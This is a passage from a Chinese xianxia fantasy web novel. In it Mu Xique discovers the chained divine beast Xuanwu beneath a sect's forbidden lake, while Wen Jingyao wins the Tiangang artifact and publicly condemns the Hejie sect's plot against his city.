越疏棠跟着她,见她这般模样也不免皱眉:“你对鹤阶很是熟悉,你经常来这里?” 慕夕阙没说话,而是加快速度朝里奔移,越疏棠和迟笙跟得略有些吃力,但还是咬牙保持着不至于跟丢的距离。 直到她们闯过密林,强大的禁制让人胆颤,越疏棠和迟笙赶忙刹住,从里头闯出三个穿着打扮似鹤阶长老的人。 “来者何人——慕夕阙?”一人抬手便指,看清为首的人是谁后,几乎破音。 而慕夕阙已经拔剑瞬移上前。 迟笙蹙眉,要上前帮忙,越疏棠抬手拦住她,紧紧盯着慕夕阙。 看她旋腕侧击,步如流影,以一迎三也毫不逊色,虽是元婴满境,实力却已逼至化神,这手熟练的杀招和从容不迫的心境,是身经百战才能锤炼出的。 甚至不到半刻钟,慕夕阙抹了最后一个人的脖子,看也不看,一脚踹开挡路的尸身,对身后的迟笙和越疏棠道:“在这里等我,若他们赶回,你们即刻跑。” 越疏棠眼睁睁看着她直入鹤阶禁地,穿过那层强大的禁制。 迟笙看得瞠目结舌,等慕夕阙彻底消失,她艰难吞咽了下,抖着声音说:“阿……阿姐,她确定只有十七岁吗?” 越疏棠眸光冷沉:“是。” 她也觉得惊骇,一个十七岁的世家大小姐,纵使天资过人,但毕竟年轻,如何使出一手流利的杀招,不仅有影杀的功法,还有旁的术法,招招式式捉摸不透。 那等从容的杀招,从头到尾都未慌乱半分,血溅到脸上眼也不眨。 迟笙呢喃道:“可这禁制……她怎么进去的啊?” 越疏棠并未开口。 慕夕阙不仅知晓鹤阶的禁地在何处,还能直接穿过这禁制。 鹤阶所谓的禁地,实际是直通浮重山的通路。 慕夕阙收起随泱交给她的木盒,这里面有半封戳了鹤阶家主契印的书信,在听随泱提起之时,她便已经想好该如何进入鹤阶禁地。 上辈子她始终没闯进来过,这里有数位鹤阶长老和那个人坐镇,可今日祭墟动荡,天罡篆择主。 鹤阶五成长老去了祭墟,打着“镇压秽毒,为民除患”的口号。 三成长老去了前厅组织鹤阶天罡篆择主一事。 两成留守禁地,被那个人带走了一部分,其余几人她轻易解决,怕是鹤阶也想不到,他们花费多年打造的禁制竟能被闯入。 慕夕阙提速朝山上奔去,这座坐落于鹤阶地域的浮重山,鹤阶的玉灵便栖息在浮重山的湖中,那只传闻可以制厄解煞的玄武。 闻惊遥告诉她,每一只玉灵都心性纯善,这是天神赐予世间的福泽,承接百姓的信任,也会竭力护佑百姓,鹤阶千年来徒造杀孽,这么多年,玉灵不会看不出。 曾经也有玉灵因人心险恶选择出山,另寻栖息地,让山崩,让城池没落。 她不信玄武会这般蠢,什么都看不出,帮着鹤阶利用祟种攻城,它又如何帮助鹤阶操控祟种的,这是她必须查清楚的事情,事关是否能在今日扳倒鹤阶。 慕夕阙的速度快到极致,时间不多,她咬紧牙关奔向山顶,穿过幽深的山林,纵身跃出,直达山巅。 她站在高耸的浮重山,望向远处。 慕夕阙隐约感知到一缕圣洁之气,但它太过虚弱,不仔细觉察,根本察觉不出这里有只玉灵。 她去过琼筵山的山谷,去过雾璋山的雪崖,感知过金龙和青鸾的气息,强大磅礴,纯粹圣洁,如今她站在浮重山巅,感知到的不是一只强大的玉灵。 慕夕阙垂眸看着山渊下的湖泊,幽绿湖泊广阔无垠,延绵千里,这片湖泊养育了无数人,里头栖息这一只实力堪比金龙和青鸾的玉灵。 下一刻,慕夕阙厉然回眸,速度极快躲过身后挥来的杀招。 刀光砍在地面,硬生生将那一大块山石击碎,碎石滚落山崖落进湖泊,掀起圈圈涟漪。 慕夕阙抬眸看过去。 “你能闯到这里,着实令我惊讶,慕二小姐似乎知道许多事情,连鹤阶禁地都知晓在何处,跟进自家一般熟练,难不成什么时候闯过鹤阶?” 黑衣男子身量仍旧挺拔笔直,乌发半披,由一根玉簪挽起,他走过来,抬手慢条斯理系上黑金面具,与上次见面那张面具相同。 他回来得太快了,这完全在慕夕阙的预料之外,她以为起码会留有将近两刻钟的时间。 如今看来,这个人的修为还要高于她的预期。 “我一直在想,杀害闻时烨他们的人是谁,万万没想到,会是你,一个十三州出了名的纨绔。”他戴好面具,抬眸看她,目光冰冷,“慕二小姐脾气爆,且从未来过鹤阶,更未去过海外仙岛,可你性子冷静沉着,会影杀的手段,知晓我们的计划,还能独闯鹤阶禁地。” 他撇了眼慕夕阙腰间的乾坤袋:“是随家的那木盒子吧,我说怎么找不到随安到底在何处,原来是慕二小姐藏起来了。” 不等慕夕阙回答,他再次抬眸,与慕夕阙对视,这次已然带了怒意:“你身上并无夺舍的痕迹,你就是慕二,到底如何知晓这般多的?” 慕夕阙冷眼看着他,握紧手中的剑,她在思索如何穿过去,正面硬刚,她不是这人的对手。 “不说?”他笑了一下。 慕夕阙只觉一阵风拂过,眨眼之间,他已至身前,一掌轰向她的肩头。 十二辰凭空出现,那朵莲花盛开,灵力幻化出的花瓣凝聚成一堵墙挡在慕夕阙身前,而她迅速反应过来,侧身瞬移,一剑击向这人的后背。 黑衣男子却头也不回,灵力聚成的罡罩挡在背后,生生截停慕夕阙的剑。 他这次回了头,目光冰冷:“神器确实强大,但你如今的修为境界可驾驭不住它,这么想查玄武,那就死在这片湖里,死在它的身边。” 他厉然出掌,掌心穿透灵力屏障,虽停滞一瞬,但仍打在慕夕阙的肩头。 顷刻间令她骨裂,慕夕阙被重重砸出数十丈远,脚下碎石乱滚,她还未站定,那人甩出一击罡风,猛然将她掀飞砸入湖泊。 红影落进冰冷的湖水,冰冷的水倒灌入肺腑,慕夕阙皱眉,透过波澜的水面看到站于崖上的黑衣男子。 十二辰似乎被生生压制,变为合拢的花苞,而她的跌落触动了镇压在湖泊上的禁制,金光大闪,足以切割一切的罡风从四面八方绞杀而来,直逼落进湖里的慕夕阙。 慕夕阙抬不起手,这湖里的禁制犹如千斤重的巨物压在她身上,将她的肋骨压断几根,意识都被砸得模糊,只能看着那些罡风绞杀过来。 在逼至她身前之时,她隐约听到锁链响起的声音,朦胧的视线中,看到黑不见底的湖水中,有什么东西在快速游来,像是顶着万顷重的巨物,笨拙又竭力。 那是一只龟蛇合体的神兽,它挡在身前,刚强的龟壳牢牢抵挡了这切割一切的罡风。 而崖上,黑衣男子看着湖水吞没一切,湖中的杀阵启动,紧接着有血水冒出,像是绞杀了什么东西。 他抬手捂住嘴,咽下肺腑内的血,冷眼旁观。 一刻钟后,他听到身后匆匆奔来的十几个鹤阶长老气喘吁吁。 这些长老的修为完全不敌这位主子,能赶来已是拼尽全力。 为首的长老拱手道:“主子。” 黑衣男子垂眸看着血水翻滚的湖泊,冷声道:“既然查到了鹤阶玉灵,那便不得不杀了,我不能杀你,不代表这禁制不能。” 杀了慕夕阙,十二辰还会再认主,那便只剩下慕从晚了,一个毫无灵力的废人。 十几个长老走上前,看着湖中晕染大片的血水,皆心下惊骇。 但很快,他们平稳狂跳的心脏,冷眼看着血水越散越开。 万年前,玄武栖息在浮重山,为这座山增添了灵气,从此枝繁叶茂,鸟兽遍地。 万年后,这座山压在了玄武身上,牢牢镇压了这只妄图抛弃城池,抛弃鹤阶的山灵。 救世的玉灵,他们偏要将它变成为虎作伥的邪灵。 作者有话说:是的,前面有宝宝们猜对啦,鹤阶确实囚禁了玄武,利用它操控祟种,所有玉灵都是好的,是不会主动为虎作伥的[撒花] 第53章 第 53 章 定局 天罡篆内是一方水域, 走过去,步步宛如走在水面之上,掀起圈圈涟漪。 此刻水面上已倒下大批人, 秦定迢被一击重重击飞,砸在水面之上滑出数十丈远, 他捂着胸口吐出一口血, 抬眸看向远处的白衣青年。 身侧的一个身着浅蓝长衫的弟子骂道:“不是说是个元婴初境吗,他大爷的,燕如珩扮猪吃老虎啊。” 从刚进来, 所有弟子都去寻找天罡篆的器灵,谁料刚到那里,瞧见了燕如珩正准备夺灵, 他比所有人的速度都要快, 像是提前便知晓器灵的方位。 参与竞争的弟子们一股脑都涌了上去, 各个都要夺这方器灵, 谁料燕如珩以一敌多, 竟这般轻松,直到他们所有人都被打趴,这些人才看出来, 这姓燕的哪里是个元婴初境? 秦定迢擦去唇上的血,撑剑想站起身, 却又再一次跌了下去, 他低头去看,燕如珩方才趁乱打碎了他一根腿骨。 来这里的人哪个不是有头有脸的天才, 他燕如珩竟敢分毫不顾及情面。 秦定迢咬牙看着那白衣青年单手执剑,剑身滴血,他踩着水面朝高悬于天际的一团灵球走去, 自他脚下荡出的水纹圈圈散开。 燕如珩步步走上高台,仰头看向那团灵球逐渐虚化,变为一只驻立在虚空的巨虎,天罡篆的器灵可以随意变换灵体,有时是朱雀,有时白虎,有时青龙。 他冷眼看着,长剑上环绕雪白灵力,如游龙般攀延而上,燕如珩正欲纵身跃起劈斩而下—— 一柄长剑从侧方袭来,青光划出半圆轨迹,带着摧山撼地的气压,令他瞬间感知到强大的威压,燕如珩足尖一踮退后十几丈,站定后侧身望去。 所有被他打伤的弟子皆抬头看去,有人踩着水纹走来。 闻惊遥不常在十三州露面,但在场的人都参加过往年的东境论道大会,亲眼见过这青衫少年连续四年夺冠,享誉十三州。 他总是干净整洁,沉默寡言,就像一朵长在雪山顶峰的莲花,清寒料峭,端正素雅。 他们还是第一次见闻惊遥这般狼狈的时候,像是刚经历过一场恶战,青衫破烂,伤口交错纵横,血迹染了满身,弄脏了那身整洁的青衫。 看清来者是谁,有人竟然笑了出来,慢慢撑起身体坐起来。 “闻少主来了,那看来天罡篆之主有了。” 看清闻惊遥的脸,燕如珩眉心微蹙。 鹤阶之主既然亲自去拦他,为何没拦住—— 转眼间,他又忽然想明白,短暂的惊愕过后,是一声轻笑。 果然,慕夕阙和闻惊遥站在了同一阵营。 闻惊遥单手握剑,鲜血沿着剑柄一路往下流,淡淡看向燕如珩:“剩我们两个了。” 燕如珩面无表情看着他:“你身上有重伤,纵使能打过我,能打服天罡篆吗?” 闻惊遥垂眸,看着自己手上的青剑,血流了满剑,血珠落在水面上,晕染在用灵力凝成的水洼中。 “总要试试的,她要的东西,我必须得夺回来。” 闻惊遥没有丝毫犹豫,身影快如疾风,眨眼到了燕如珩身前,剑身擦过的刹那迸溅出烈然火花,映出两双冷如寒霜的眼眸。 闻家行快剑,剑法卓绝,享誉十三州,闻惊遥更是学了一手的闻家剑法,如今他已完全不顾闻家的稳重求胜,燕如珩不是没和闻惊遥过过招,往年论道大会他们打过架的。 他在打斗的过程中逐渐明白纪挽春的话。 闻惊遥的心境变了许多,他的沉稳规矩少了些,竟多了几分不管不顾的疯狂,招招带刃,分毫不顾自己的命门是否会暴露在燕如珩面前。 他要杀,要抢,要打服这个劲敌。 燕如珩侧身躲过闻惊遥从正面劈来的剑招,迅速瞬移绕至他侧身,灵力引在剑身上,一剑祭出,剑如利箭。 闻惊遥竟躲也不躲,一把抓住他挥来的剑,纵使那剑身在他的掌心割出血迹,而他竟眼也不眨,用力捏碎,剑尖顷刻浮现裂纹。 少年趁机,一脚踹向燕如珩的胸膛,将他重重砸出百丈远,肋骨砸碎几根。 身后观战的弟子们倒吸一口凉气,看闻惊遥提剑瞬移奔去,一拳砸向刚站起身的燕如珩,将他执剑的手打到肩骨碎裂,半分喘气的机会都不给人留。 “闻少主这是疯了吗,他身上的伤那般重,我记得他之前打架没这般凶狠的?” “听闻前些时日东浔出事,死了好多长老,家主也死了,不会受什么刺激了吧?” “闻家修行以心境为根本,心狠则剑凛,如今我瞧着,闻少主心境大变啊。” 秦定迢听着身后絮絮叨叨的讨论声,这些人如今完全没有争夺天罡篆的心思了,看这两位备受瞩目的少主过招,一边点评一边猜测。 他也看向那两道身影,青影和白影快出残风,两个人都格外能忍痛,受伤竟半分不吭,还有一口气都绝不服输,而燕如珩已经落了下风,他还是在乎命的,但闻惊遥完全一副不要命的打法。 闻惊遥心境大变,显而易见。 看来东浔的事要远比他们以为的严重。 众人看那道青影挥出最后一掌,将满身鲜血的燕如珩从虚空砸落,而闻惊遥落地,抬手捂住嘴,试图挡住溢出的血。 随后,他撑着剑看也不看那些看戏的弟子,步步滴血,朝高台走去。 天罡篆的器灵早已观战许久,静等最后胜出的人来与它过招。 有人嘀咕:“天啊,疯了吧……都伤成这样了,还敢跟天罡篆打……” 虽说器灵会压到和对手一样的境界,但重伤的元婴满境,对上一个鼎盛的元婴满境,胜算也是绝对不大的。 如今看来,就比谁更能抗揍了。 闻惊遥已走上高台,站至巨虎之前,他抬眸看过去,眉眼冷淡,对上硕大凛然的兽瞳仍半分不惧。 想要什么就得去争去抢,什么都守不住护不下,生不如死。 他再次祭出青剑,这柄才修复好没多久的剑挥出骇然的青光,而少年紧随其后,冲向伫立在虚空的凛然巨虎- 浮重山内有条青湖,名唤流霞湖。 当日头高升之时,照在湖面上,波光粼粼,色彩绮丽,因此得名。 玄武便栖息在流霞湖中,龟蛇合体。 慕夕阙盘腿坐着,闭目打坐,周身有金光凝聚出的罡罩环绕在她的四周,宛如龟壳一般坚硬,被那黑衣男子打碎的骨头,以及被阵法压伤的肋骨在缓慢愈合,她皱紧眉头,又一点点接上震碎的经脉。 她不知过了多久,再次睁眼之际,周遭仍是一片昏暗,只有悬立在她身侧的龟壳能为她照亮一些,可视程度并不远。 但她仍旧看到了粗壮的铁链,每一根都有十数丈宽,一共三十六条,延伸向三十六个方位,牢牢捆住了这只玉灵。 慕夕阙低头去看,她坐在玄武的龟壳之上,那些锁链有些捆住了它的龟首和蛇颈,有些捆住四爪,有些捆在龟壳和蛇身上,时间太过久远,已勒进血肉,刺穿背甲,与它的本体生长在一起。 牵动一根锁链,痛彻全身。 如今玄武闭目,似乎在沉睡,而慕夕阙低头,伸出手触碰它伸出的脖颈,粗壮的颈项上有纵横的切割伤,禁制挥出的罡刃全数切在了玄武身上,因为锁链捆着,它甚至不能缩回脖颈和四肢,只能用粗糙的皮肉抵御。 满湖都是它的血。 这是慕夕阙第一次见到玉灵的实体,不是灵体,是活生生的玉灵。 倏然之间,她对上了一只硕大的眼睛,是浅淡的琉璃色,她甚至不如它的瞳仁大,那只眼动了动,瞳仁看向她。 慕夕阙颔首道:“多谢。” 玄武又再次闭上眼,纵使无法交流,慕夕阙仍能看懂它的眼神,它的意思是等它恢复些力气,会送她出湖。 慕夕阙仰头,她如今应当在湖底,以她的修为一旦游上去,靠近水面的禁制便会被觉察,那杀阵会再次启动。 十二辰如今无法使用,被这禁制压成了一朵花苞,不靠玄武,她出不去。 她也没有能力砍断这些捆缚玄武的锁链,如今的她太过弱小。 慕夕阙收回目光,低头看着玄武身上的锁链,赤红色的链条上刻有晦涩的古语,她上辈子在海外仙岛钻研过一些,于是低头去看。 过了半刻钟,慕夕阙直起身子,目光逐渐冷下。 是几千年前流传的一种缚灵术,早已失传,比她学的搜魂还要邪门得多。 慕夕阙问:“你是何时被镇压的?” 玄武睁开眼,瞳眸安静看着她,她与玄武并无契约,也无法交流。 慕夕阙只能试探猜测:“百年前?” 玄武毫无动静。 “一千年前?” …… 慕夕阙以千年为距,倒推到七千年,玄武眨了下眼。 竟被镇压了这般久? 慕夕阙拧眉,又问道:“镇压你的人是谁?” 玄武扬起脖颈,看向水面之上的山崖,它轻轻一动便能牵动捆缚它的锁链,那些声音像是敲击在慕夕阙的心头,听得她觉得闷疼。 她随它一起看去,它在指认万丈之上,方才山崖上的人。 慕夕阙垂下的手攥紧,面上不显异样。 玄武被囚明明是七千年前左右,可那个人模样如此年轻,修士并非长生不老,若不飞升,在下界迟早会陨落,他就算是渡劫满境,也绝不可能活到七千岁,更不可能如此年轻。 慕夕阙又问:“你知道他的身份吗?” 玄武摇了摇头,锁链的声音再次响起,似乎拉疼了它,于是玄武不再动作,安安静静悬浮在湖底,像是毫不在乎般,或许曾有过被背叛的恨,也早在七千年的囚禁中化为了漠然。 它如此长寿,绵延的寿数中都只能被利用榨干,囚禁在这湖底中。 长寿…… 慕夕阙低头看向玄武:“那个人能活这么久,和你有关系吗?” 玄武并未再睁眼,似乎已不想回答。 慕夕阙只能伸出手,触碰它的龟壳,说道:“我想去救你,也想铲除鹤阶。” 玄武没有回答她,甚至眼皮都未动一下,它已不知活了多久,徐无咎曾说它是所有玉灵中寿数最长久的一只。 山灵可以自愿与这座山融为一体,变成玉灵,护佑这座城池,几千年,几万年,它们都心甘情愿,至死不悔。 可山灵不能被囚禁在山中,看着自己护佑的百姓利用自己,去伤害更多的百姓,满手鲜血杀戮。 玄武早已不信他们了,也不信慕夕阙。 鹤阶势力这般大,这三十六根锁链捆缚它七千年,她一个弱小的修士,怎么以少敌众撼动乾坤,又怎么能斩断这三十六根用上古阵术凝出的锁链? 慕夕阙没有再说话,她看着玄武庞大的龟壳,看着那些勒进血肉的铁链。 她只能承诺:“你信我,我定能铲除鹤阶,斩断这三十六根铁链。” 坐在这湖底,她不知道时间,只能闭目打坐,直到感知到身下的玄武动了动,铁链碰撞的声音响起,牵扯它的伤口,周围的水中溢出些弥散的血迹。 玄武睁开眼,顶着万顷重的禁制,对抗三十六根勒进血肉的铁链,用尽自己的全力,扬首怒蹬,奋力朝湖面游去。 慕夕阙俯身,趴在它的脊背上,抓紧龟壳上的背甲沟壑,避免自己被锐利冲来的罡风打掉。 她看着越来越近的水面,悬浮在整片湖泊上的金纹感知到有波动,慕夕阙也觉察出重压,几乎要将她刚愈合的骨伤再次压碎。 而这次,玄武用所剩无几的灵力,替她撑起了一道护体的屏障,拦截了绞杀而来的利刃。 它拖着从湖底延伸的锁链,顶着压制它几千年的禁制,怒吼在湖里响彻,罡刃切割它的血肉,它的血液再一次染红了这条湖。 那片散开的红映在慕夕阙眼中,她抓紧它的背甲,被纵身跃出水面的玄武甩出去,而慕夕阙迅速腾身,足尖踩在玄武露出的背甲,它借力送她跃上山壁。 慕夕阙跳至一颗斜长在山壁之上的树,低头去看,背可遮天的玄武被三十六根铁链拽入湖中,湖面的禁制仍在,罡风切割了它的血肉,血水又再次溢出。 一枚墨青色的背甲被甩出,在虚空中缩小为掌心大小,慕夕阙祭出灵力卷来,甲片躺在她的掌心中,还带了玄武的血迹。 最后一眼,慕夕阙看到玄武沉下去时那双看着她的兽瞳,凛然威严。 玄武褪下一枚能够制厄解煞的背甲,给予她作为信物,让她可以穿透鹤阶的玉灵,不至于被觉察出气息,安全下山,顺利离开。 慕夕阙看着沉入湖底的玄武,直到水面再次恢复平静,只剩下荡开的血迹,她握紧那枚甲片,头也不回提气,踩着凸出的岩石跃上山崖。 而山下的禁地内,厅内站了十几人。 黑衣男子动手摔碎茶盏,迸裂的瓷片划在长老们的身上,带出深可见骨的伤痕,可这些人却一声不敢吭。 “所以闻惊遥来了,还进了天罡篆?” 所有人不敢说话,纪挽春只能壮着胆子道:“……是。” “如今天镜开着,这场战局整个十三州所有世家都在看,闻惊遥若从天罡篆出来,他便是公认的神器之主,十三州圣尊!”黑衣男子厉然甩袖,挥出的风凝化成气流,将所有人甩飞砸在殿内的石柱上。 他站起身,冷着脸:“我倒是没看出来,鹤阶这般无能,当初是否便不该留你们性命?” 十几个长老赶忙爬起来,跪在地上。 殿内安静许久,只能听到彼此颤抖的呼吸声。 过了约莫一刻钟,高台上的黑衣男子走下台来,长而宽的衣摆拖曳在身后,他站在殿门,看向远处的前厅,天罡篆择主便在那处,战局被整个十三州看着。 “慕夕阙已死,待择主结束后,那些人离开,鹤阶清空,你们去流霞湖里取出十二辰,届时寻个理由,慕二孤身闯鹤阶,跌入流霞湖被玄武所杀,想朝蕴也不敢说些什么。” 纪挽春战战兢兢道:“是。” “诸位长老,若燕如珩打不过闻惊遥,鹤阶圣尊便让闻惊遥先当着,左右祭墟动荡,都等着两个神器救命,闻惊遥定要和新任十二辰之主去镇压祭墟,想办法让他回不来便可。” “他回不来,东浔闻家还能成什么气候?届时储备生息再次攻城,定能斩杀青鸾。”黑衣男子仰头,望向虚空高升的日头,这光太过刺眼,照在他白到能看出血管的脸上。 “还有淞溪那只金龙。”他低声呢喃,声音轻到缥缈,“这些玉灵……” 身后的鹤阶长老们屏息凝听,可他的声音实在太小,以至于他们都未听清,他究竟在说些什么。 这些玉灵又怎么了?- 酉时正,霞光簇锦,日暮已至。 虚空的天镜仍在向十三州昭示今日的天罡篆择主,场下守着的弟子们有些坐在地上,有些仍站着,有些甚至昏昏欲睡,等了一整日,从卯时正等到如今酉时正,天罡篆还没有动静。 高台上的鹤阶长老脸色沉闷,直勾勾看着悬停的篆盘。 而纪挽春从后厅一路走来,站至判赛的长老身旁,压低声音道:“主子说了,若他夺了天罡篆便让他先当着圣尊,等他从祭墟回来再想办法铲除。” “是。” 两人一同望向虚空中的天罡篆,它高悬于空,似乎在眺望远处连绵的山峰。 他们都明白,主子选择打碎一根天柱,让祭墟彻底动荡,一是打着困住闻惊遥,让天罡篆认燕如珩的念头。 二则是逼迫慕夕阙去祭墟镇压秽毒,待她使用十二辰后,十二辰虚弱,靠它供给的慕家结界玉灵也自然重创,便是对慕家出手的最好时机。 即使十二辰之主会变成慕从晚,也必须去镇压祭墟,那么金龙便一定会沉睡。 十二辰之主变成一个手无缚鸡之力的废人,神器也自然落到鹤阶手中。 过程再过波澜,损失再过惨重,总之结果是好的。 纪挽春嗤笑了声。 酉时三刻,静止了一日的天罡篆终于有了动静,圈圈涟漪出现在篆心,紧接着一个又一个弟子从里面走出,跃至地面,而自家等候的人赶忙上前接住。 这些人大多有伤在身,瞧着像是经历一场恶战。 角落里,越疏棠拽紧迟笙的手,两人躲在一座石狮子后,在鹤阶的人出现在天际* 那刻,越疏棠便赶紧燃了瞬移符篆带迟笙离开,也多亏那黑衣男子急着去山上,并未觉察她们。 迟笙小声说:“阿姐,这次择主会是谁?” 越疏棠摇摇头:“不确定,但方才听那些弟子说闻惊遥进去了,如果我没记错,他是慕夕阙的未婚夫,修为在年轻一辈中是佼佼者。” 迟笙面露担忧:“那个人修为那般高,慕二小姐若和他正面相撞,如何能活下来?” 越疏棠眉心紧蹙,末了,沉声说:“你我也没有办法,我们都不是那人的对手。” 迟笙不再说话。 越来越多的弟子从天罡篆中走出,众人停了好一会儿,一个浑身是血的白衣男子撑着一柄断剑踏了出来。 “少主!”燕家弟子慌忙上前迎接。 看清燕如珩的模样,纪挽春也皱了眉,不可置信。 闻惊遥经历恶战已经重伤,纵使燕如珩不是他的对手,但对上有伤的闻惊遥,也不至于被打成这副只剩几口气的样子。 燕如珩倒在弟子的身上,弯腰咳嗽,掌心捂不住血水,粘稠的血从喉口涌出,滴了一地。 天罡篆再次有了异动。 所有人看过去,荡开的水纹之中,有人走了出来。 青衫破烂,血迹满身,脸色苍白,束发的玉冠也早被击碎,长发只用一根从衣摆撕下的布条束成马尾,他身上的伤七零八落,遍布全身,甚至连脖颈都有道几乎割到血管的伤。 从他走出后,高悬的天罡篆陡然缩小成一方圆盘,乖巧落在他的掌心。 闻惊遥抬眸,暖黄的霞光落在他的面上,清俊的五官如今褪去了些柔和,似乎多了些凛冽。 纪挽春闭上眼,长长叹了一口气。 费尽心机,折兵损将,死了那么多弟子长老,最后还是如此,天罡篆择强为主,闻惊遥恰好足够强大。 天镜向十三州通传,天罡篆之主择了出来。 整个十三州一百七十三个家族门派,皆看向虚空中的天幕。 天罡篆之主,鹤阶圣尊,落在了闻家闻惊遥手中。 第54章 第 54 章 她所有的恨,都有了原因…… 当看到天罡篆落在闻惊遥手中时, 在场乌泱泱几百人,有些心中黯然,有些并无波动, 也有些人难免心生妒火。 可众人也都清楚,若闻惊遥真来夺天罡篆, 这十三州圣尊便一定会是他。 “恭喜闻少主。”有人率先开口, 众人看去,是秦定迢。 他的腿骨被燕如珩打断,尚未愈合, 只能靠弟子支撑身体重量,抬眸看着闻惊遥,目中并无妒火。 于是其余世家子弟默了瞬, 皆都陆续向闻惊遥贺喜。 “恭喜闻少主。” 闻惊遥不善言辞, 淡淡颔首以示回复。 他看向众人之后的燕如珩, 往日温润雅正的白衣公子, 如今遍体鳞伤, 靠弟子撑着才能不倒下,燕如珩抬眸看过来。 双目相对,他擦去唇角的血, 忽然冲闻惊遥笑了声。 齿关染血,像极了茹毛饮血的厉鬼。 闻惊遥分毫不在乎, 收回目光, 而身侧有人冲他拱手。 “恭喜闻少主夺得天罡篆,按规矩, 天罡篆之主便是鹤阶圣尊,十三州圣尊。”纪挽春弯腰行礼,身后的鹤阶长老和弟子们也恭恭敬敬。 闻惊遥安静看着他们, 并未出声回应,也未让他们起身。 纪挽春唇角笑意一僵,停了片刻,自顾自起身,将一枚镶金白玉递去:“这是十三州圣尊玉牌,少主若接了此枚玉牌,便是圣尊了。” 闻惊遥抬手接过,垂眸看了眼,在整个十三州可以掀起滔天巨浪,几乎所有世家都卯足了心要夺的圣尊玉牌,他却看了一眼后,随意举起那枚玉符问纪挽春。 “鹤阶圣尊有何权力?” 纪挽春的笑意收了些,看着他的眸子,圣尊有什么权力他难道不知道吗? 可以号令鹤阶,执掌十三州刑罚,手握生杀大权。 台下众人也不知他忽然问这些三岁稚童都知道的问题作甚,皆都仰头看来。 这么多人盯着,天镜还开着,十三州都在看,纪挽春只能硬着头皮说:“鹤阶有为民除患职责,圣尊身负镇压祭墟职责,执掌鹤阶半数兵力,应谨守十三州严刑峻法,为百姓铲恶锄奸。” 闻惊遥问道:“若有人犯下滔天杀孽,圣尊应如何做?” “……自是根据律规办事。”纪挽春抬眸,和他对视,沉声回道。 闻惊遥并未再看他,他看着台下众人,迎着高悬于天的天镜,对这些人、对整个十三州道:“十几日前,东浔主城遭五只祟种袭击,闻家弟子死伤三成,长老仅剩三人,我父亲闻承禺战死,相信各位也听了些风言风语,闻家主紧闭城门,不肯让鹤阶白长老救援。” 台下的弟子喧嚷起来,低声窃语。 燕如珩冷着脸,看向高台上的闻惊遥,以及他身后的纪挽春,示意纪挽春赶忙关上天镜。 纪挽春方要抬手,一道金光从侧面劈来,紧接着面前红影一闪而过,有人快速奔来,牢牢挡在他身前。 看清那张脸的刹那,纪挽春瞳眸惊惧:“你怎么会——” 慕夕阙冲他一笑:“怎么了,我不该出现在这里?” 明明死了,那流霞湖里的禁制应该将她削成肉泥了,连尸骨都留不下来,为何? 慕夕阙挡在天镜前,闻惊遥看了眼她的背影,消瘦高挑,永远笔直。 她没有看过他一眼。 闻惊遥收回目光,看着鹤阶高台下的人,看着远处连绵群山。 “千机宗三名长老,以及鹤阶长老白望舟带不渡刀前来东浔主城,妄图布下八极阵困杀整个主城,鹤阶弟子如今还关押在主城内,依诸位看,这罪应如何论?” 宛如一颗巨石砸入沉静的水面,掀起骇浪,令在场弟子皆神容惊惧。 八极阵,那可是困杀祟种的大阵,用鹤阶圣物不渡刀布下的八极阵更是强大到可以让地崩山塌,掩埋整座城池。 纪挽春匆匆道:“闻少主误会,东浔主城忽然出现十五只祟种,一只祟种便能屠一座小城池,这些祟种冲出主城是迟早的事,白长老也只是心忧十三州安危,不得已才出此下策!” 闻惊遥回头看他,目光冰冷:“我东浔主城内尚有几十万百姓,鹤阶却敢覆灭整个东浔主城?” “可若是祟种出城——” “斩杀祟种是为护百姓安危,如今你们要为了除祟去杀百姓,本末倒置,不顾业报,舍几十万人的性命对你们来说是为了顾全大局,是吗?” 纪挽春张了张嘴,却哑口无言,闻惊遥素来话少,如今怎这般咄咄逼人? 天镜正在向整个十三州通传这件事。 鹤阶甚至无法反驳,因为东浔城内如今困了一千多个鹤阶弟子,是与不是,只需要闻家放出那些弟子便知晓了。 闻家叛贼与鹤阶勾结,闻惊遥尚无确凿证据,但祭出不渡刀妄图覆灭东浔主城,诛杀东浔玉灵,他们无法否认。 闻惊遥只看着他:“鹤阶此举悖逆律规,穷凶极虐,依十三州律法,灭城未遂,带兵长老当斩,参与的弟子废其修为,逐出宗门,此外,鹤阶应向东浔闻家赔金弥错。” 他转身,不等纪挽春说话,祭出圣尊玉牌。 “我以圣尊玉令,就鹤阶带不渡刀妄图覆灭东浔主城一事给予判罚,白望舟已死,千机宗涉事长老相昼、应词有从犯之责,涉事千机宗弟子和鹤阶弟子,共计约一千五百人,废其修为,逐出宗门。” 话音刚落,万里之外,镇守闻家牢狱的弟子接到命令,拔刀进入牢狱,各个手起刀落。 而千机宗内,两位长老正欲匆匆离开宗门,刚走出大门,从天而降两道青影,庄漪禾和另一名闻家长老手执武器,身后追上几百名闻家弟子,牢牢堵住了他们的路。 这是闻惊遥在卯时正抵达鹤阶之时,传给他们的信。 他有把握自己能夺得天罡篆,也势必要在今日雪恨。 千机宗和东浔主城内,血淌了一地。 犹如当时东浔主城出事那日,三步便能见一具尸身,外三城尸横遍野,血流满地,五只祟种毁了大半个城池,十五只祟种让青鸾放弃了整个外三城。 周遭鸦雀无声,纪挽春唇瓣哆嗦,垂下的手被宽袍掩住,无人能看清他的手在抖,可在场的人也都看得出来,鹤阶的脸色阴沉得骇人。 似是完全没想到,闻惊遥竟直面硬刚,分毫不惧鹤阶。 闻惊遥收回圣尊玉牌,少年站在高台之上,长身玉立,霞光打在他的脸上,竟无端让人觉出种无法忽视的孤寂,他明明已执掌大权,却又像什么都没有。 他安安静静站在那里,周遭无人说话,整个十三州都在通过天镜观局。 片刻后,闻惊遥低声说:“我会和夕阙一同去镇压祭墟,十三州和海外仙岛走到如今并不容易,万年前百位大能以性命为代价,化为百根天柱竖立在祭墟旁,两位神器之主凿出祭墟后,一年内相继离世,这些年的太平是无数人用鲜血换来的。” “如果有人为一己私欲妄图灭世,徒造杀孽,天不给的业报,便由千千万万个正道修士来给。” 他的话音刚落,远处的虚空中奔来几十个衣着缥缈、样式各异的大能。 为首的大能落下后拱手道:“天柱已被暂时补上,应能撑上一月,待圣尊和慕二小姐休养过后,一同前去镇压即可。” 祭墟被暂时压制,这些年轻弟子齐声欢呼。 躲于石狮后的越疏棠收回目光,迟笙还在看高台上那两个并肩而立的人,低声说道:“阿姐,镇压祭墟这般困难,为何有人要让祭墟动荡,秽毒出现?” 越疏棠背靠石狮,闭目叹息:“我不知。” 